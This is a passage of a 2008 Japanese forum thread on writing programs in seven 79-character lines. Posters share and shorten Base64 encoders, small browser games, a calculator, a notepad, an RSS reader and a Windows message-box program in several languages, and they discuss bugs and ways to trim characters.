break;}y=k.charCodeAt(i++);if(i==l){r+=f(x>>2);r+=f(((x&0x3)<<4) | ((y&0xF0)>>4));
r+=f((y&0xF)<<2);r+="=";break;}z=k.charCodeAt(i++);r+=f(x>>2);
r+=f(((x&0x3)<<4 | (y&0xF0)>>4) >> 4);r+=f(((y&0xF)<<2) | ((z&0xC0)>>6));
r+=f(z&0x3F);}return r;}</script>

1行減らせる?
652 :デフォルトの名無しさん :2008/01/13(日) 17:48:37
普通に空白消して改行位置かえるだけで7行に収まりそうだけど。
653 :デフォルトの名無しさん :2008/01/13(日) 17:58:49
それに0x3とかは3でいいよ
654 :デフォルトの名無しさん :2008/01/13(日) 18:07:59
1行何文字までおkなん?
655 :デフォルトの名無しさん :2008/01/13(日) 18:08:30
いちおう79
656 :デフォルトの名無しさん :2008/01/13(日) 18:08:44
>>651
演算子の優先順位を吟味して括弧を減らせばいいと思うよ。
657 :デフォルトの名無しさん :2008/01/13(日) 18:28:46
>>651
意味を変えずに整形だけしてみた。

<script>c="ABCDEFGHIJKLMNOPQRSTUVWXYZ";c+=c.toLowerCase()+"0123456789+/";onload
=function(){document.write(e(prompt("","")))};function f(b){return c.charAt(b)}
function e(k){r="";l=k.length;for(i=0;i<l;){x=k.charCodeAt(i++)&255;if(i==l){r
+=f(x/4)+f((x&3)<<4)+"==";break}y=k.charCodeAt(i++);if(i==l){r+=f(x/4)+f((x&3)
<<4|(y&120)>>4)+f((y&15)*2)+"=";break}z=k.charCodeAt(i++);r+=f(x/4)+f(((x&3)<<4
|(y&120)>>4)>>4)+f((y&15)*2|(z&192)>>6)+f(z&63)}return r}</script>
658 :デフォルトの名無しさん :2008/01/13(日) 18:35:18
<script>a="abcdefghijklmnopqrstuvwxyz";c=a.toUpperCase()+a+"0123456789+/";
function f(b){return c.charAt(b);}function e(k){r="";i=0;l=k.length;while(i<l){
x=k.charCodeAt(i++)&0xff;if(i==l){r+=f(x>>2);r+=f((x&3)<<4);r+="==";
break;}y=k.charCodeAt(i++);if(i==l){r+=f(x>>2);r+=f(((x&3)<<4)|((y&240)>>4));
r+=f((y&15)<<2);r+="=";break;}z=k.charCodeAt(i++);r+=f(x>>2);
r+=f(((x&3)<<4|(y&240)>>4)>>4);r+=f(((y&15)<<2)|((z&192)>>6));
r+=f(z&63);}return r;}document.write(e(prompt("","")));</script>

単純なことだった。
659 :デフォルトの名無しさん :2008/01/13(日) 18:35:57
レスが遅かった
>>657ですね。すいません
660 :デフォルトの名無しさん :2008/01/13(日) 18:47:06
kは不変なのだからk.charCodeAtを文字でおくと短くなるし
2回あるif(i==l){ }も ?: をつかったり式をまとめたりすれば
だいぶ短くなるよ
cを生成するところもなにか工夫できそう
661 :デフォルトの名無しさん :2008/01/13(日) 18:54:34
>>660
k.charCodeAtを文字で置くのはやってみましたが
ギリギリで(4文字くらい)余計に長くなるのでしませんでした。

<script>c="ABCDEFGHIJKLMNOPQRSTUVWXYZ";c+=c.toLowerCase()+"0123456789+/";
function f(b){return c.charAt(b);}function e(k){r="";i=0;l=k.length;while(i<l)
{x=k.charCodeAt(i++)&255;if(i==l){r+=f(x/4)+f((x&3)<<4)+"==";break}
y=k.charCodeAt(i++);if(i==l){r+=f(x/4)+f(((x&3)<<4)|((y&240)>>4))+f((y&15)*4)+
"=";break}z=k.charCodeAt(i++);r+=f(x/4)+f(((x&3)<<4|(y&240)>>4)>>4)+f(((y&15)*4)
|((z&192)>>6))+f(z&63);}return r;}document.write(e(prompt("","")));</script>
662 :デフォルトの名無しさん :2008/01/13(日) 18:58:46
(x&3)<<4 → x%4<<4
(y&15)*4 → y%16*4

みたいにできる?
663 :デフォルトの名無しさん :2008/01/13(日) 19:02:09
>>661
まじで?
テストしてないけどこれだめなん?

<script>c="ABCDEFGHIJKLMNOPQRSTUVWXYZ";c+=c.toLowerCase()+"0123456789+/";
function f(b){return c.charAt(b);}function e(k){r="";i=0;l=k.length;while(i<l)
{x=(u=k.charCodeAt)(i++)&255;if(i==l){r+=f(x/4)+f((x&3)<<4)+"==";break}
y=u(i++);if(i==l){r+=f(x/4)+f(((x&3)<<4)|((y&240)>>4))+f((y&15)*4)+
"=";break}z=u(i++);r+=f(x/4)+f(((x&3)<<4|(y&240)>>4)>>4)+f(((y&15)*4)
|((z&192)>>6))+f(z&63);}return r;}document.write(e(prompt("","")));</script>
664 :デフォルトの名無しさん :2008/01/13(日) 19:08:59
x=(u=k.charAt)

こういう、宣言の仕方があったか・・・
忘れてました。orz
665 :デフォルトの名無しさん :2008/01/13(日) 19:11:41
>>663
あ、なんか、結果が変わりました。
どっかがおかしいみたいです
666 :デフォルトの名無しさん :2008/01/13(日) 19:12:50
>>663
IEでしか試してないが、f=c.charAt; とすると、fの結果が"[object]".charAtになってしまった。
667 :デフォルトの名無しさん :2008/01/13(日) 19:25:43
えーそうなのか
適当なこと言ってすます
668 :デフォルトの名無しさん :2008/01/13(日) 19:29:41
>>662
できるね
669 :デフォルトの名無しさん :2008/01/13(日) 21:24:57
しょぼいけどテニス
<body onKeydown="a+=(event.keyCode-38)?1:-1;if(a<1)a=0;if(a>2)a=3;"><script>
x=g=h=1;y=a=0;b=2;e=-1;p=300;function d(){s="";x+=g;y+=h;b=y;if(p<50)p=50;
if(y<1){y=0;h*=e}if(y>3){y=4;h*=e}if(x>7){x=8;g*=e}if(x<2){if(y==a||y==a+1){
x=1;g*=e;p-=20;}}if(x==0)alert("GAME OVER");if(b<1)b=0;if(b>2)b=3;
for(i=0;i<50;i++){X=i%10;Y=(i-X)/10;s+=(X==x&&Y==y)?"●":(X==0&&(Y==a||
Y==a+1)||(X==9&&(Y==b||Y==b+1)))?"■":"□";if(X==9)s+="<br>";}
document.body.innerHTML=s;setTimeout("d()",p);}d();</script>
670 :デフォルトの名無しさん :2008/01/13(日) 22:11:08
<input size=80 onkeypress="with(Math)if(event.keyCode==13){document.body.innerHTML+='<br>'+(n=this.value)+'='+eval(n)}">
671 :デフォルトの名無しさん :2008/01/19(土) 11:30:21
一文字短くしてみた

<input size=8 onkeypress="with(Math)if(event.keyCode==13){document.body.innerHTML+='<br>'+(n=this.value)+'='+eval(n)}">
672 :デフォルトの名無しさん :2008/01/19(土) 21:03:53
更に6文字短くしてみた

<input size=8 onkeydown="with(Math)if(event.keyCode==13){document.body.innerHTML+='<br>'+(n=value)+'='+eval(n)}">
673 :デフォルトの名無しさん :2008/01/19(土) 22:05:21
更に7文字短くしてみた

<input onkeydown="with(Math)if(event.keyCode==13){document.body.innerHTML+='<br>'+(n=value)+'='+eval(n)}">
674 :デフォルトの名無しさん :2008/01/19(土) 22:31:20
削るんならwith(Math)とかifの{}を真っ先に削ろうよ。
何をしたいのか良く分からん。
675 :デフォルトの名無しさん :2008/01/19(土) 22:34:43
<input onkeydown=with(Math)event.keyCode-13||(R.innerHTML+=(n=value)+'='+eval(n)+'\n')><pre id=R>
676 :デフォルトの名無しさん :2008/01/19(土) 22:36:12
>>674
with はメソッドにも対応するためだと思うよ
やっぱりつまらんかったけどw
677 :デフォルトの名無しさん :2008/01/20(日) 01:44:11
v ^_@
_,v>0
o:"
>0"!hs"v
!" 2
^< ^g2<
678 :デフォルトの名無しさん :2008/01/20(日) 09:23:01
>>674
簡単だよ、フォームから sin(60*PI/180) とかいう計算式を受け付けるためじゃない?
俺は実行すらしてないから予想だけど
679 :デフォルトの名無しさん :2008/01/20(日) 09:45:30
触発されたので、Perl版 Base64 エンコーダ、デコーダ書いてみた。
コマンドライン引数に -e とつければエンコード。そうでなければデコード。
DOS上の Jperl4 でも動いた。chr() -> pack(C, としたぐらいだけど。

#!/usr/bin/perl
$B=join('','A'..'Z','a'..'z','0'..'9')."+/";$e=shift if$ARGV[0]eq'-e';$i=0;$_=
<>;$l=length($_);sub G{substr($_,$i++,1)}if($e){sub O{ord(&G)}sub P{print
substr($B,$_[0],1),$_[1]}while($i<$l){$x=&O;&P($x>>2);$x=($x&3)<<4;if($i==$l){
&P($x,'==');last}$y=&O;&P($x|($y&240)>>4);$y=($y&15)<<2;if($i==$l){&P($y,'=');
last}$x=&O;&P($y|$x>>6);&P($x&63)}}else{sub D{index($B,&G)}sub C{print pack(C,
$_[0])}while($i<$l){$x=&D;$y=&D;&C($x<<2|$y>>4&3);last if($x=&D)<0;&C(($y&63)
<<4|$x>>2);last if($y=&D)<0;&C(($x&3)<<6|$y)}}print"\n"
680 :674 :2008/01/20(日) 10:01:11
>>678
JavaScriptのevalが呼んだ側のwithとかに影響されるなんて知らなかったんだよorz
見ただけでそれが簡単に予想できるお前がうらやましい。
681 :デフォルトの名無しさん :2008/01/20(日) 12:24:30
それよりthis.valueをvalueに略せるなんて初めて知った
682 :デフォルトの名無しさん :2008/01/20(日) 13:45:20
>>680
>>675を書いた俺が>>676で既に言ったじゃないか
683 :674 :2008/01/20(日) 18:36:31
>>682
>>680>>676を分かった上での>>678へのレス。言葉足らずですまんかった。

スレ汚したお詫びに超ありふれてるBase64エンコーダでもどうぞ。
local f,s,d,z=math.floor,string.byte,{},"ABCDEFGHIJKLMNOPQRSTUVWXYZ"for i=1,65
do d[i-1]=(z..z:lower().."0123456789+/"):sub(i,i)end function encode(t)local l,
i,r,a,b,c=#t,1,''while l>2 do a,b,c=s(t,i,i+2)r=r..d[f(a/4)]..d[(16*a+f(b/16))%
64]..d[(b*4+f(c/64))%64]..d[c%64]i,l=i+3,l-3 end if l>0 then a,b=s(t,i,i+1)if l
>1 then r=r..d[f(a/4)]..d[(a*16+f(b/16))%64]..d[b*4%64]..'='else r=r..d[f(a/4)]
..d[a*16%64]..'=='end end return r end io.write(encode(io.read"*a"))

今までBase64エンコーダまたはデコーダ作った人:
初代スレ: 488(C),491-(C)
part4: 937(JavaScript)
このスレ: 651 -(JavaScript),679(Perl),俺(Lua)
684 :デフォルトの名無しさん :2008/01/21(月) 01:20:10
Cプログラマ必須テキストです!

http://mori.eco.to/
685 :デフォルトの名無しさん :2008/01/25(金) 01:04:16
#!/usr/bin/env ruby
require 'base64';$><<Base64.encode64(gets)
686 :デフォルトの名無しさん :2008/01/25(金) 16:50:08
なんという・・・
687 :デフォルトの名無しさん :2008/01/26(土) 00:18:35
PHPSDYZD50L50PPQX5AA54LPRX5Gf50APSXH51u50APRX5A05v4PSXH50p5cNPYZRQRQSSSSXKCh
Z74sPS4PPKC74q4LPSaH5az1FCaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBAAAAAAAAAAAAA
LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL
LLLLCLAFHEABML0DDKA0CKA0AKDMKH0EHNCM0FKLDGMCKO0HADADADADCLILCCALK0F00NALJE00
HFHEIDHMJHLNCNNJBOMOKHMNCCB0AKD0EGMCLCD0JH00ADIKFDILCC0EABMLLD00HKCNEGMNEHJE
00HF00HCHN000AHN00LCHN00FAHN000DHN00LAHN00OAHNHOEGKBOB00NGAHMDNNKHMCG0FLKMCC

QmFzZTY0IERlY29kZXI=
====

Base64で自己展開Base64
後ろにデータくっつけて.comで実行でstdoutに出力します。
688 :デフォルトの名無しさん :2008/01/26(土) 09:51:32
SUGEEEEEEEEEEEEEEEEEEEE! 仕組みどうなってるの
689 :デフォルトの名無しさん :2008/01/26(土) 14:08:44
誰か.comの書き方をレクチャーしてほしい
690 :デフォルトの名無しさん :2008/01/26(土) 15:26:04
>>688
>>689
まずはCOM2TXTをググれ
691 :デフォルトの名無しさん :2008/01/26(土) 17:10:40
ぐぐって
ttp://www.vector.co.jp/soft/dos/util/se004841.htmlから
からダウソしたんだが
なんか違う・・・?
692 :デフォルトの名無しさん :2008/01/26(土) 18:04:57
前スレの最後辺りと>>7もcom2txtを利用してるよね。

>>691
もし解凍してもappealしか出てこないのなら解凍ソフト変えてみれば?
トンチンカンな事言ってたらスマンが。
693 :デフォルトの名無しさん :2008/01/26(土) 19:56:46
>>692
appealしかでなかった。
解凍ソフト変えるわ。サンクス
694 :デフォルトの名無しさん :2008/01/26(土) 21:48:38
おかしいぞ、どのソフトでもエラーだ。あー腹立つw

もうやめた、やーめた
695 :デフォルトの名無しさん :2008/01/27(日) 04:50:13
Lhaplusで解答できた
696 :デフォルトの名無しさん :2008/01/27(日) 12:53:09
>>696
Lhaplus 1.53で出来なくて、1.56にアップデートしても無理だった。
仕方ないんでLinuxに持ってってtar xzしたら出来た。


・・・Win用の解凍アプリは何が悪いんだ?まあいいや。
697 :デフォルトの名無しさん :2008/01/27(日) 20:25:02
自分は解凍レンジでできますた
698 :デフォルトの名無しさん :2008/01/30(水) 21:16:08
スカスカだったんで詰めた

PHPSDYZD50L50PP50A5DLPQX5AA54LPRX5Gf50APSXH51u50APRX5A05v4PSXH50p5cNPYZRQRQh
ZSSSSXKC74nPS4MP4IPSaH5az1FEaaCLAFHEABML0DDKKLIHA0AKDMKH0EHNCM0FLLDGMCKO0HJE
JFADADADADCLILCCALK0F00NALHEIDHMJHLNCNNJBOMOKHMNCCB0AKD0EGMCLCD0JH00ADIKFDJE
JF0EABMLLDDKGNEGMNEH00CCHN00K0HN00DCHN00AAHN00HCHN00GAHN00JAHNHDFLCHMCE0FLJE
00HF/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBAAAAAAAAA

QmFzZTY0IERlY29kZXINCg==
====
699 :デフォルトの名無しさん :2008/02/04(月) 14:29:21
>>677
ずれてるよね?何したいのかいまいち分からん
700 :デフォルトの名無しさん :2008/02/09(土) 18:41:49
メッセージボックス
VC++2008で動いたけど他は知らん

long long a=0xc3c033660424448b;char *cp;short *sp;typedef int*(_stdcall*F)();
int s[8],*b,*c,*d,i,j;F A,B,C;void m(){for(;(short)*b-'ZM';b-=16384);c=&b[b[b[
15]/4+30]/4+6];for(cp=(char*)b;i<4;i++){s[i]=c[i];}for(;j<c[0];j++){for(i=0;
"GetProcAddress"[i]==cp[b[s[2]/4+j]+i];i++);if(i==15)break;}sp=(short*)&b[s[3]
/4];A=(F)&b[b[sp[j]+(s[1]/4)]/4];B=(F)A(b,"LoadLibraryA");d=B("user32.dll");C=
(F)A(d,"MessageBoxA");C(0,"Hello world!","7line",0);C=(F)A(b,"ExitProcess");C(
0);}_declspec(naked)WinMainCRTStartup(){b=((int*(*)())&a)();m();}
701 :sage :2008/02/09(土) 21:18:24
このスレを知って、弾幕風で1列79文字でテトリス作ってみたら18行…orz
http://www.geocities.co.jp/SiliconValley-Oakland/9951/
テキストに保存して弾幕風のscriptフォルダに入れれば動くはずです。

#東方弾幕風#Title[テトリス]#Text[]#ScriptVersion[2]script_enemy_main{function B
(let p,let q){return (trunc(p/16^q)%16);}let a=[17767,5533,17767,5533,9302,5530
,17768,345,22170,22170,22170,22170,9577,17818,9577,17818,5206,5481,17769,5209,
1110,4697,17770,5513,5482,26522,5482,26522];let n=rand_int(0,27);let q=0;let f=
[];let p=240;while(p){p--;f=[[1,0][p%12&&p%12!=11&&p<228]]~f;}@Initialize{
SetLife(1);ForbidShot(true);LastSpell;M;}@MainLoop{SetPlayerX(999);SetPlayerY(
999);yield;}task M{function K(let p){return GetKeyState(p) == KEY_PUSH;}
function J(let p,let q,let r,let s){let u=4;while(u){u--;r=B(a[n+s],u);q=[q,0]
[f[x+r%4+(y+trunc(r/4))*12+p]];}return q;}let t=0;let x=4;let y=0;loop{p=228;
while(p){p--;f[p]=[0,1][f[p]==1];}if(K(VK_LEFT)&&J(-1,1,1,0)){x--;}if(K(
VK_RIGHT)&&J(1,1,1,0)){x++;}if(K(VK_UP)&&J(0,1,1,[1,-3][n%4==3])){n+=[1,-3][n%4
==3]}if(K(VK_DOWN)||t==20){t=0;if(J(12,1,1,0)){y++;}else{p=4;while(p){p--;q=B(
a[n],p);f[x+q%4+(y+trunc(q/4))*12]=1;}p=19;while(p){p--;q=1;let r=1;while(r<11)
{q=[0,q][f[p*12+r]];r++;}if(q){AddScore(1);f=[1,0,0,0,0,0,0,0,0,0,0,1]~f[0..p*
12]~f[p*12+12..240];}}x=4;y=0;n=rand_int(0,27);if(!J(0,1,1,0)){ShootDownPlayer;
}}}p=0;while(p<4){q=B(a[n],p);f[x+q%4+(y+trunc(q/4))*12]=2;p++;}t++;yield;}}
@DrawLoop{p=240;while(p){p--;if(f[p]){DrawText("■",48+p%12*16,48+trunc(p/12)*
16,16,255);}}}}
702 :デフォルトの名無しさん :2008/02/14(木) 17:56:54
だれか7行で海腹川背の挙動をシミュレートしてくれ
703 :デフォルトの名無しさん :2008/02/29(金) 22:02:23
過疎すぎるな
704 :デフォルトの名無しさん :2008/02/29(金) 22:28:54
そう思うならなんか貼れお
705 :デフォルトの名無しさん :2008/02/29(金) 23:16:23
じゃあ横からだけどケータイで暇つぶしする用のじゃんけんマシン
もしかしたら古い(弱い)バージョンを昔このスレに上げたような気も

いかさまはしないけど、人の出した手のパターンを憶えてくるので
30点先取とかで連戦すると人はまず勝てないと思う

<title>Janken Stadium</title><body onload="A.innerHTML=k"><p id=A align=center>
</p><script type="text/javascript">"iicafiaxus";for(p=[i=a=b=u=0];i<81;p[i++]=0
)f=8;H=["グ","チ","パ"];function t(h){q=p[u]-p[u+1],r=p[u+1]-p[u+2],i=q>r;if(f-
h)A.innerHTML=k+"<br><br>[COM]"+H[i+=i?q>-r-q:r<-r-q]+((i-=h)?(++i%3?b+"-<b>"+
++a+"</b>":"<b>"+ ++b+"</b>-"+a):b+"-"+a)+H[f=h]+"[YOU]",++p[u+=h],u=u*3%27,
setTimeout("f=8",5)}S=' <input type=button accesskey=',U=')" value="',V='">',T=
' onclick="t(';k=S+1+T+0+U+H[0]+V+S+2+T+1+U+H[1]+V+S+3+T+2+U+H[2]+V;</script>
706 :デフォルトの名無しさん :2008/03/02(日) 00:12:47
<title>J</title><body onload="A.innerHTML=k"><p id=A align=center>
</p><script type="text/javascript">"iicafiaxus";for(p=[i=a=b=u=0];i<81;p[i++]=0
)f=8;H=["グ","チ","パ"];function t(h){q=p[u]-p[u+1],r=p[u+1]-p[u+2],i=q>r;if(f-
h)A.innerHTML=k+"<br><br>[COM]"+H[i+=i?q>-r-q:r<-r-q]+((i-=h)?(++i%3?b+"-<b>"+
++a+"</b>":"<b>"+ ++b+"</b>-"+a):b+"-"+a)+H[f=h]+"[YOU]",++p[u+=h],u=u*3%27,
setTimeout("f=8",5)}S=' <input type=button accesskey=',U=')" value="',V='">',T=
' onclick="t(';k=S+1+T+0+U+H[0]+V+S+2+T+1+U+H[1]+V+S+3+T+2+U+H[2]+V;</script>
707 :デフォルトの名無しさん :2008/03/02(日) 00:57:20
これも onload に格納できないか?
708 :デフォルトの名無しさん :2008/03/02(日) 00:58:32
あー、途中に引用符の入れ子があるのをなんとかすれば
709 :デフォルトの名無しさん :2008/03/02(日) 01:09:28
>>706 = >>671-673
710 :デフォルトの名無しさん :2008/03/11(火) 17:32:23
誰か七行ICQ作ってくだしあ。
711 :デフォルトの名無しさん :2008/03/12(水) 11:34:29
ネタがぬ
712 :デフォルトの名無しさん :2008/03/13(木) 08:01:28
>>711
・RSSリーダ
・対応しているRSSバージョンや言語は問わず
・できるだけ環境依存を避ける
713 :デフォルトの名無しさん :2008/03/15(土) 21:24:40
>>712
711じゃないが面白そうなので作ってみた。
IEでのローカル動作のみなんで環境依存すぎるけど。
FireFox対応させるつもりだったが、ローカル動作では別サイト読みに行けないようなので断念。

<html><body><input id=A value=http://netafull.net/index.rdf><input type=button
value=ok onclick='(D=new ActiveXObject("MSXML2.DOMDocument")).async=0;D.load(A.
value);G=function(n,p){Q=n.selectSingleNode(p);return Q?Q.text:""};r="<h1>"+G(D
,"//title")+"</h1>"+G(D,"//dc:date");for(L=D.selectNodes("//item"),i=0;L.length
>i;N=L.item(i++),r+="<div style=\"border:1 solid\">"+G(N,"title").big().link(G(
N,"link"))+"<br>"+G(N,"dc:date").small()+"<br><hr>"+G(N,"description").replace(
/\n/g,"<br>")+"</div><br>");W.innerHTML=r;'><div id=W>

見た目次第で縮まるゆえに縮小化はキリがなさそうなので、7行に収まったところで止めました。
714 :デフォルトの名無しさん :2008/03/17(月) 20:46:21
10行でメモ帳。
もうちょっと俺にやる気があれば9行くらいにはなったかもしれん

document.write("<form name='F''>ファイル名: <input type=text value='index' "
+"name='n'>  <input type=button value='保存' onClick='S()'> <input type="
+"'button' value='開く' onClick='O()'><br><textarea name='t' style='widt"
+"h:450px;height:200px;'></textarea></form>");function W(l, y){
p=new ActiveXObject("Scripting.FileSystemObject");i=p.OpenTextFile(
"files/"+l,2,true);i.Write(y);i.Close();alert("保存しました。");return 0;}
function E(n){p=new ActiveXObject("Scripting.FileSystemObject");
sp.OpenTextFile("files/"+n);Bs.ReadAll();s.Close();return B;}
function S(){q=document.F.n.value;t=document.F.t.value;W(q,t);
}function O(){q=document.F.n.value;t=E(q);document.F.t.value=t;}
715 :デフォルトの名無しさん :2008/03/17(月) 21:45:39
ぱっと見動かないだろそれ
716 :デフォルトの名無しさん :2008/03/17(月) 22:36:32
ローカルで動くはずだけど・・・
一応動作確認してるし
717 :デフォルトの名無しさん :2008/03/17(月) 22:37:27
と思ったけどなんか間違ってたので一箇所訂正

document.write("<form name='F''>ファイル名: <input type=text value='index' "
+"name='n'>  <input type=button value='保存' onClick='S()'> <input type="
+"'button' value='開く' onClick='O()'><br><textarea name='t' style='widt"
+"h:450px;height:200px;'></textarea></form>");function W(l,y){
p=new ActiveXObject("Scripting.FileSystemObject");i=p.OpenTextFile(
"files/"+l,2,true);i.Write(y);i.Close();alert("保存しました。");return 0;}
function E(n){p=new ActiveXObject("Scripting.FileSystemObject");
sp.OpenTextFile("files/"+n);B=s.ReadAll();s.Close();return B;}
function S(){q=document.F.n.value;t=document.F.t.value;W(q,t);
}function O(){q=document.F.n.value;t=E(q);document.F.t.value=t;}
718 :デフォルトの名無しさん :2008/03/17(月) 23:32:52
memo.htm

<title>メモ帳</title><script>A=new ActiveXObject('Scripting.FIleSystemObject')
document.write('ファイル名: <input id=N size=95><button onclick=o=A.OpenTextF\
ile(N.value);T.value=o.ReadAll();o.Close()>開く</button><button onclick=o=A.O\
penTextFile(N.value,2,true);o.Write(T.value);o.Close();alert("保存しました")>\
保存</button><br><textarea id=T cols=99 rows=50>')</script>
719 :デフォルトの名無しさん :2008/03/17(月) 23:36:48
>>718
echo "note" >> file

なんだろうね.メモ帳程度で糞重いGeckoやTridentを起動する気にはならない
720 :デフォルトの名無しさん :2008/03/17(月) 23:37:08
しまった
1行 78文字にしてしまったww
721 :デフォルトの名無しさん :2008/03/18(火) 01:59:32
79文字に納めてないし7行でもないけどテンキー練習ゲーム作ってみた
右から来る数字に足して10になるキーを押していく

<body onkeydown=r(f|=event.keyCode+a.shift(p++)-106) onload=(c=function(){r(a.push(Math.random(setTimeout(c,(200-p)*5))*9+1|0))})(r=function(){for(s=p,f|=9<(i=a.length);i++<9;)s+='_';f||(B.innerHTML=s+a.join(''))},a=[],f=p=0)><tt id=B>


昔のインベーダゲームってこんなだったらしいね
722 :デフォルトの名無しさん :2008/03/18(火) 02:02:34
ミス
(200-p)*5 → 999-5*p
723 :デフォルトの名無しさん :2008/03/18(火) 07:49:47
> 昔のインベーダゲームってこんなだったらしいね
「電卓で遊べる」インベーダーゲームね
724 :デフォルトの名無しさん :2008/03/18(火) 15:18:22
電卓インベーダー懐かしいww
どっかにあるかもしれんw探してみよう
725 :デフォルトの名無しさん :2008/03/18(火) 17:16:50
>>721いいなこれ
ついムキになってやってしまったw
726 :デフォルトの名無しさん :2008/03/18(火) 18:15:46
テンキー付いてなかった
727 :デフォルトの名無しさん :2008/03/18(火) 20:37:43
>>721
これはいい脳トレwwwww
足して10になる数字ってのがミソだなww
728 :デフォルトの名無しさん :2008/03/20(木) 08:23:18
120過ぎると急に難しくなるな
729 :デフォルトの名無しさん :2008/03/20(木) 15:23:50
>>721
楽しかった。やっぱりアイデア次第だよな〜


あとこのスレの題目に反してるけど、1レス分32行2048byteまでとかでもいいの?
それとこのスレ読み辛いんだけど、何か読むのに良い方法があるの?
7行でスクリプト書いてるのかなw
730 :デフォルトの名無しさん :2008/03/20(木) 15:48:35
>>729
過去何回も出され、その度に論議を呼んだ質問だよ
初代スレを貼っておこう
http://piza2.2ch.net/tech/kako/984/984182993.html

流れを読みつつ、新しい発見もあるはず
面白いよ
731 :デフォルトの名無しさん :2008/03/21(金) 09:48:44
>>729
とりあえず貼ってみたら
いつのまにか誰かが7行にしてた、とかよくある。
732 :デフォルトの名無しさん :2008/03/21(金) 16:39:39
ネタplz
733 :デフォルトの名無しさん :2008/03/21(金) 17:32:56
7行でワープロ作ってくれ
734 :デフォルトの名無しさん :2008/03/21(金) 19:42:50
ワープロってどんなんのを考えているんだろう
735 :デフォルトの名無しさん :2008/03/21(金) 20:09:26
文章を編集して印刷できりゃワープロだろ。
736 :デフォルトの名無しさん :2008/03/21(金) 20:32:25
上にあるメモ帳に print をつければ完成
737 :デフォルトの名無しさん :2008/03/21(金) 21:18:15
わぁ(流石)プロですねぇ
738 :デフォルトの名無しさん :2008/03/21(金) 21:31:04
[審議中]
739 :デフォルトの名無しさん :2008/03/22(土) 11:25:13
<textarea>
740 :デフォルトの名無しさん :2008/03/22(土) 14:38:04
印刷はprint()でいいよな、
741 :デフォルトの名無しさん :2008/03/22(土) 17:37:06
分からんがこんなんで

<title>メモ帳</title><script>A=new ActiveXObject('Scripting.FIleSystemObject')
document.write('ファイル名: <input id=N size=95><button onclick=o=A.OpenTextF\
ile(N.value);T.value=o.ReadAll();o.Close()>開く</button><button onclick=(w=open(\
"memo.htm","a")).document.write(T.value);w.print()>印刷</button><button onclick=o=A.O\
penTextFile(N.value,2,true);o.Write(T.value);o.Close();alert("保存しました")>\
保存</button><br><textarea id=T cols=99 rows=50>')</script>
742 :デフォルトの名無しさん :2008/03/22(土) 20:02:50
>>741
期待通りの動作はしないと思うぞ
open は document にもあるし、close し忘れてる
改行はスペースになる
743 :デフォルトの名無しさん :2008/03/23(日) 02:37:35
<TEXTAREA cols=80 rows=20 ONCHANGE="D.innerHTML=this.value">
</TEXTAREA><HR>
<DIV ID=D></DIV>

WYSIWYGなHTML作成支援エディタモドキできたよー
744 :デフォルトの名無しさん :2008/03/23(日) 03:15:58
これはつまらんと言わざるをえない
745 :デフォルトの名無しさん :2008/03/23(日) 17:32:18
<title>メモ帳</title><script>A=new ActiveXObject('Scripting.FIleSystemObject');
document.write('ファイル名: <input id=N size=99><b onclick=o=A.OpenTextFile(N.\
value);T.value=o.ReadAll();o.Close()>開く</b> <b onclick=o=A.OpenTextFile(N.va\
lue,2,true);o.Write(T.value);o.Close();alert("保存しました")>保存</b> <b oncli\
ck=(w=top.open(URL)).document.body.innerText=T.value;w.print()>印刷</b><br><te\
xtarea id=T cols=99 rows=40>')</script>
746 :デフォルトの名無しさん :2008/03/24(月) 00:07:11
>>743
「適用(A)」ボタンを付けた方がいいと思う
747 :デフォルトの名無しさん :2008/03/24(月) 03:37:16
>>746
ONCHANGEはフォーカス外れた時点で機能するので
<INPUT TYPE=BUTTON VALUE='適用'>
を<HR>の前にでも追加しよう
748 :デフォルトの名無しさん :2008/03/28(金) 11:43:51
ネタ投下

・IRCクライアント
・JavaScript+HTML

・最低限の動作
 ・サーバにログインする
 ・チャンネルへのログイン、任意の発言文字列(とコマンド)の送受信
749 :デフォルトの名無しさん :2008/03/28(金) 11:59:01
仕様:RFC1459 http://www.haun.org/kent/lib/rfc1459-irc-ja.html

参考:JISIRC JavaScript IRC Client http://www.levelthreesolutions.com/jisirc/
(これはActiveXなどを使ってるんでNG)

・RFCに文字コードの規定はないが、日本語サーバではISO-2022-JP(いわゆるJISコード)を利用しているのがほとんど。
・IRCプロトコル自体は簡単で、telnetでも接続できる。
・代表的なサーバはirc.tokyo.wide.ad.jp:6664。

暇つぶしで試してみてるけど中々上手くいかないなあ
750 :デフォルトの名無しさん :2008/03/28(金) 17:24:06
まずはIRCプロトコルに対応してるブラウザを探さないとな
751 :デフォルトの名無しさん :2008/03/28(金) 17:41:26
よしブラウザ作るか。7行で
752 :デフォルトの名無しさん :2008/03/28(金) 18:19:04
>>750
JavaScriptってあんま知らんのだけど
独自でコネクション確立ってできんのかい?
753 :デフォルトの名無しさん :2008/03/28(金) 18:21:05
そんなことできたら今世紀最大のセキュリティホールとして語り継がれることになる気がする。
754 :デフォルトの名無しさん :2008/03/28(金) 21:55:28
ActiveX 無しと言われたら IE では不可能だな
755 :デフォルトの名無しさん :2008/04/01(火) 01:10:21
過去ログのdat探しに逆localtimeを作ったやつなんですけど、ついでなんでもうちょっと短くできないでしょか?
エラーチェク付きもあったけど、とりあえず短い方で
使う時は、引数は3〜6こで、年 月 日(時 分 秒)です

l2t.pl----------------
@A=@ARGV;$D=$A[2]-1;push@M,$_-2?31-$_*.86%2:28+C($A[0])for(0..$A[1]);$D+=C($_)?
366:365for(1970..$A[0]-1);$D+=$M[$_]for(1..$A[1]-1);print 60*(60*(24*$D+$A[3]-9
)+$A[4])+$A[5],$/;sub C{$R=$_[0]%4?0:1;$R=$_[0]%900-200||$_[0]%900-600?0:1if(!
$_[0]%100);$R}
756 :デフォルトの名無しさん :2008/04/01(火) 01:48:01
>>755
if(!$_[0]%100) は if( (!$_[0]) % 100) になるけど大丈夫?
757 :756 :2008/04/01(火) 02:12:08
1970年から2^31秒経つ間に100で割り切れる閏年はないから、32bitシステムなら上手く動くね。
たぶん2100年まで生きないし実用上は問題ないか。

